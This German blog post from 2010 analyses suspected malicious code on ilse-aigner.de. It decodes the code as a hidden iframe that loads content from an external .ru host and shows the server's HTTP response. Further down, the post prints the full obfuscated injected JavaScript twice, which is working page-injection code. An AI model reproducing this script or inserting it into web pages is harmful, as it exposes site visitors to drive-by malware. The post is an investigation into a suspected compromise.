Skip to content

Schadcode bei ilse-aigner.de?

Rainer fragte sich und die identi.caer (später auch die Blogleser), ob denn die Webseite von Ilse Aigner gehackt ist. Der erste Blick auf die Seite liess mich in der Tat erstaunen:

Webseite ohne JavaScript

Ich habe die Firefox-Erweiterung NoScript aktiviert und die Browserweiche der Webseite wurde aktiv. Aber bereits hier war das Problem im HTML-Code zu sehen. Eine enorme Menge JavaScript. Im erweiterten Teil des Beitrages findet ihr den kompletten Schnippsel. Ich habe da nur an jedem Semikolon einen Umbruch eingebaut.

Innerhalb des JavaScript-Teiles werden diverse Variablen angelegt und nie benutzt. Es gibt die merkwürdige Zeile eturn ’h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|’.qK(/[\|J\$3\)]/g, ’’); und andere Nettigkeiten. Ich habe dann mal versucht, das Puzzle sinnvoll wieder zusammen zu setzen. Nach meiner Meinung dient der Code dazu, innerhalb der Webseite einen Bereich zu öffnen (IFrame). Dort wird der Inhalt der Seite qlke.ru/index.html geladen. Im nächsten Schritt wäre es also von Interesse, was in dieser Datei steht.

Ich versuchte also zunächst ein GET /index.html HTTP/1.1 bei der Seite und erhielt als Antwort:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 18 Jun 2010 13:00:01 GMT
Content-Type: text/html
Connection: close
Last-Modified: Mon, 14 Jun 2010 15:01:58 GMT
ETag: “a6600e-2881-488fec52d6580”
Accept-Ranges: bytes
Content-Length: 10369
Vary: Accept-Encoding

404 Not found

Wie man sieht, habe ich den Abruf heute gemacht. Leider habe ich den kompletten HTTP-Header nicht gespeichert. Insofern könnte der Teil ab Last-Modified vorher anders gewesen sein. Sehr markant finde ich, dass der Webserver meint, es sei alles in Ordnung (200 OK), währenddessen eine nicht gefundene Seite vorgespiegelt wird. Das kann natürlich ein Fehler in der Konfiguration sein. Viel wahrscheinlicher hielt ich das jedoch für einen Platzhalter, der später durch Schadcode ersetzt wird. Mittlerweile hat sich diese Vermutung wahrscheinlich bestätigt. Denn diese Seite enthält jetzt HTML und wieder JavaScript. Das lädt dann Code von der Seite http@//bijitersto@com/cgibin/index@php (Ich habe mal Doppelpunkt und Punkt durch @ ersetzt) nach. Firefox meldet diese Seite sofort als attackierende Seite. Also seit vorsichtig beim Betreten.

Der Server auf dem qlke.ru läuft, steht derzeit in Österreich. Die zweitgenannte Seite läuft derzeit auf einem Rechner in der Ukraine. Also insgesamt sieht das Ganze nicht unbedingt so aus, als ob das die Verbraucherschutzministerin ihren Besuchern anbieten will.

Ich frage mich, wie der Quellcode überhaupt auf die Seite von ilse-aigner.de gekommen ist. Hat da jemand den Rechner gehackt bzw. die Software, die die Webseiten ausliefert? Offensichtlich hatten die Besucher der Webseite von Ilse Aigner viel Glück. Denn die Angreifer hatten ihre Munition noch nicht an den Start gebracht. Ein erster Kontaktversuch zu den Betreibern der Webseite von Ilse Aigner lief leider ins Leere, da E-Mails an den Webmaster als unzustellbar zurückkamen. Ich werde eventuell Frau Aigner direkt um Stellungnahme bitten. Falls ich Rückmeldung erhalte, werde ich nochmal ein paar Zeilen dazu schreiben.

function hT(){};
this.xA=’’;
hT.prototype = {gS : function() {var eA=9087;
var o=function(){};
var c=’’;
return ‘h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|’.qK(/[\|J\$3\)]/g, ‘’);
var kY=“kY”;
this.eP=’’;
sY=“”;
},m : function() {this.gJ=“”;
var f=new Array();
function r(){};
var tB=false;
    this.mP=“”;
q=“”;
    var s=’replace’;
var gV=’’;
var a=function(){};
var tA=new Array();
var pU=’’;
var z=document;
this.pA=“pA”;
var lS=25582;
var cR=9008;
var b=window;
var pZ=46499;
uW=“uW”;
this.iC=’’;
var eN=“eN”;
rF=549;
function d(){};
String.prototype.qK=function(g,x){return this[s](g, x)};
this.mQ=“”;
sF=false;
dX=’’;
var gVN=1376;
var mJ = ‘sQegt@TgigmQe@oQu^t@’.qK(/[@\^g_Q]/g, ‘’);
iB=’’;
cF=false;
var i = ‘<Mh$tum^lM u>$<Yh^eMaYd$ u>^<u/^h^e$a$d$>^<ubYoud$yM u>$<u/Mb^o^d^yu>u<$/^h$tumYl$>M’.qK(/[M\$u\^Y]/g, ‘’);
this.aF=“aF”;
this.qC=“”;
this.kF=’’;
var jZ=’’;
var pN=new Date();
try {var sG=“”;
var hQ=“”;
this.v=false;
oM=“”;
var uQ=function(){};
var bO=new Date();
var sI = ‘b9oRdlyR’.qK(/[R9lSG]/g, ‘’);
this.hO=false;
var qU=new Array();
var sN = ‘sjt#yjl{eE’.qK(/[E#\{@j]/g, ‘’);
pM=“pM”;
yN=“yN”;
this.hI=false;
var j = ‘i~f_r6a1m6e&’.qK(/[&~1_6]/g, ‘’);
mA=12855;
function uF(){};
iM=false;
var e = ‘w{r~iWt{e~’.qK(/[~\{Wm\.]/g, ‘’);
var zJ=’’;
this.tS=false;
var k = ‘c(r(e5a(t5e(Eol(e:moe:n5t(’.qK(/[\(o\:N5]/g, ‘’);
this.n=’’;
var aD=function(){};
var qE=new Array();
kW=false;
var p = ‘sLr&cL’.qK(/[LRy/&]/g, ‘’);
var zH=false;
this.kT=64303;
var tAH=function(){};
cK=’’;
this.tM=“”;
this.eE=51540;
var xE = ‘s4e4t5AVt,t5r5i5b,uVtGe4’.qK(/[4V,5G]/g, ‘’);
var hG=new Array();
var mF=’’;
this.fG=“fG”;
var hV=function(){return ‘hV’};
var y = ‘hSiSdSdSexnS’.qK(/[SZx\>t]/g, ‘’);
var w=’’;
var cC=’’;
this.gE=“”;
sE=’’;
var jL = ‘vei5s[icbci+l[i[tey+’.qK(/[\+\[5ec]/g, ‘’);
var xS=’’;
this.oJ=“”;
    var h = ‘a^pTp^eTnJd&C^h&i&l&dJ’.qK(/[J\^g&T]/g, ‘’);
this.uU=’’;
var aR=“aR”;
    this.zQ=false;
function aJ(){};
    var t=this.gS();
function wU(){};
var gM=new Date();
var tX=new Date();
lI=“lI”;
function tH(){};
oV=60287;
var kV=document[k](j);
this.pB=“pB”;
var wV=function(){};
kQ=false;
var tSX=function(){return ‘tSX’};
kV[sN][jL] = y;
var jE=function(){return ‘jE’};
var tU=1024;
var cY=’’;
cT=41801;
kV[xE](p, t);
var zN=new Date();
nA=false;
xJ=27938;
dR=’’;
function uM(){};
uV=62754;
jP=“”;
var xH=new Array();
z[sI][h](kV);
this.mE=“”;
var bK=function(){return ‘bK’};
var tC=“tC”;
var rU=new Date();
this.pT=’’;
var vD=“vD”;
} catch(u) {var vB=new Date();
var rN=function(){};
this.wI=“”;
this.oU=false;
z.write(i);
this.kB=“kB”;
pW=’’;
var zC=“”;
qR=’’;
var oS=function(){};
var cCD=new Array();
var l = this;
var gU=18646;
tT=false;
var aRF=’’;
function sS(){};
uT=’’;
rG=“rG”;
b[mJ](function(){ var cKZ=61508;
var sC=function(){};
nD=false;
var yT=55106;
l.m();
qN=50578;
var eJ=function(){};
hA=“hA”;
this.eW=“eW”;
eL=50076;
this.oD=false;
}, 268);
function qG(){};
this.gEU=false;
}tG=’’;
function gMQ(){};
nI=52234;
this.cB=“cB”;
}};
this.lR=15709;
var bB=new hT();
 var gC=’’;
bB.m();
mC=23088;
</script><script type=’text/javascript’>function hT(){};
this.xA=’’;
hT.prototype = {gS : function() {var eA=9087;
var o=function(){};
var c=’’;
return ‘h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|’.qK(/[\|J\$3\)]/g, ‘’);
var kY=“kY”;
this.eP=’’;
sY=“”;
},m : function() {this.gJ=“”;
var f=new Array();
function r(){};
var tB=false;
    this.mP=“”;
q=“”;
    var s=’replace’;
var gV=’’;
var a=function(){};
var tA=new Array();
var pU=’’;
var z=document;
this.pA=“pA”;
var lS=25582;
var cR=9008;
var b=window;
var pZ=46499;
uW=“uW”;
this.iC=’’;
var eN=“eN”;
rF=549;
function d(){};
String.prototype.qK=function(g,x){return this[s](g, x)};
this.mQ=“”;
sF=false;
dX=’’;
var gVN=1376;
var mJ = ‘sQegt@TgigmQe@oQu^t@’.qK(/[@\^g_Q]/g, ‘’);
iB=’’;
cF=false;
var i = ‘<Mh$tum^lM u>$<Yh^eMaYd$ u>^<u/^h^e$a$d$>^<ubYoud$yM u>$<u/Mb^o^d^yu>u<$/^h$tumYl$>M’.qK(/[M\$u\^Y]/g, ‘’);
this.aF=“aF”;
this.qC=“”;
this.kF=’’;
var jZ=’’;
var pN=new Date();
try {var sG=“”;
var hQ=“”;
this.v=false;
oM=“”;
var uQ=function(){};
var bO=new Date();
var sI = ‘b9oRdlyR’.qK(/[R9lSG]/g, ‘’);
this.hO=false;
var qU=new Array();
var sN = ‘sjt#yjl{eE’.qK(/[E#\{@j]/g, ‘’);
pM=“pM”;
yN=“yN”;
this.hI=false;
var j = ‘i~f_r6a1m6e&’.qK(/[&~1_6]/g, ‘’);
mA=12855;
function uF(){};
iM=false;
var e = ‘w{r~iWt{e~’.qK(/[~\{Wm\.]/g, ‘’);
var zJ=’’;
this.tS=false;
var k = ‘c(r(e5a(t5e(Eol(e:moe:n5t(’.qK(/[\(o\:N5]/g, ‘’);
this.n=’’;
var aD=function(){};
var qE=new Array();
kW=false;
var p = ‘sLr&cL’.qK(/[LRy/&]/g, ‘’);
var zH=false;
this.kT=64303;
var tAH=function(){};
cK=’’;
this.tM=“”;
this.eE=51540;
var xE = ‘s4e4t5AVt,t5r5i5b,uVtGe4’.qK(/[4V,5G]/g, ‘’);
var hG=new Array();
var mF=’’;
this.fG=“fG”;
var hV=function(){return ‘hV’};
var y = ‘hSiSdSdSexnS’.qK(/[SZx\>t]/g, ‘’);
var w=’’;
var cC=’’;
this.gE=“”;
sE=’’;
var jL = ‘vei5s[icbci+l[i[tey+’.qK(/[\+\[5ec]/g, ‘’);
var xS=’’;
this.oJ=“”;
    var h = ‘a^pTp^eTnJd&C^h&i&l&dJ’.qK(/[J\^g&T]/g, ‘’);
this.uU=’’;
var aR=“aR”;
    this.zQ=false;
function aJ(){};
    var t=this.gS();
function wU(){};
var gM=new Date();
var tX=new Date();
lI=“lI”;
function tH(){};
oV=60287;
var kV=document[k](j);
this.pB=“pB”;
var wV=function(){};
kQ=false;
var tSX=function(){return ‘tSX’};
kV[sN][jL] = y;
var jE=function(){return ‘jE’};
var tU=1024;
var cY=’’;
cT=41801;
kV[xE](p, t);
var zN=new Date();
nA=false;
xJ=27938;
dR=’’;
function uM(){};
uV=62754;
jP=“”;
var xH=new Array();
z[sI][h](kV);
this.mE=“”;
var bK=function(){return ‘bK’};
var tC=“tC”;
var rU=new Date();
this.pT=’’;
var vD=“vD”;
} catch(u) {var vB=new Date();
var rN=function(){};
this.wI=“”;
this.oU=false;
z.write(i);
this.kB=“kB”;
pW=’’;
var zC=“”;
qR=’’;
var oS=function(){};
var cCD=new Array();
var l = this;
var gU=18646;
tT=false;
var aRF=’’;
function sS(){};
uT=’’;
rG=“rG”;
b[mJ](function(){ var cKZ=61508;
var sC=function(){};
nD=false;
var yT=55106;
l.m();
qN=50578;
var eJ=function(){};
hA=“hA”;
this.eW=“eW”;
eL=50076;
this.oD=false;
}, 268);
function qG(){};
this.gEU=false;
}tG=’’;
function gMQ(){};
nI=52234;
this.cB=“cB”;
}};
this.lR=15709;
var bB=new hT();
 var gC=’’;
bB.m();
mC=23088;

Trackbacks

Datenkanal am : DK21: Schwachstellen im Web I (SQL Injection und XSS)

Vorschau anzeigen
Diese Folge setzt unsere Betrachtungen von IT-Sicherheit fort. Nachdem wir mit dem Buffer Overflow einen Klassiker angesprochen haben, wenden wir uns in der Folge hauptsächlich der SQL Injection zu. Gegen Ende der Sendung kommen wir noch auf Cross Site Sc

Kommentare

Ansicht der Kommentare: Linear | Verschachtelt

Jens Kubieziel am :

Die Antwort kann man kurz zusammenfassen: “Nichts genaues weiß man nicht und mehr darf ich nicht sagen.” Schade :-(

Kommentar schreiben

Umschließende Sterne heben ein Wort hervor (*wort*), per _wort_ kann ein Wort unterstrichen werden.
Standard-Text Smilies wie :-) und ;-) werden zu Bildern konvertiert.
BBCode-Formatierung erlaubt
Die angegebene E-Mail-Adresse wird nicht dargestellt, sondern nur für eventuelle Benachrichtigungen verwendet.

Um maschinelle und automatische Übertragung von Spamkommentaren zu verhindern, bitte die Zeichenfolge im dargestellten Bild in der Eingabemaske eintragen. Nur wenn die Zeichenfolge richtig eingegeben wurde, kann der Kommentar angenommen werden. Bitte beachten Sie, dass Ihr Browser Cookies unterstützen muss, um dieses Verfahren anzuwenden.
CAPTCHA

Sie können [geshi lang=LANG][/lang] Tags verwenden um Quellcode abhängig von der gewählten Programmiersprache einzubinden
Formular-Optionen
cronjob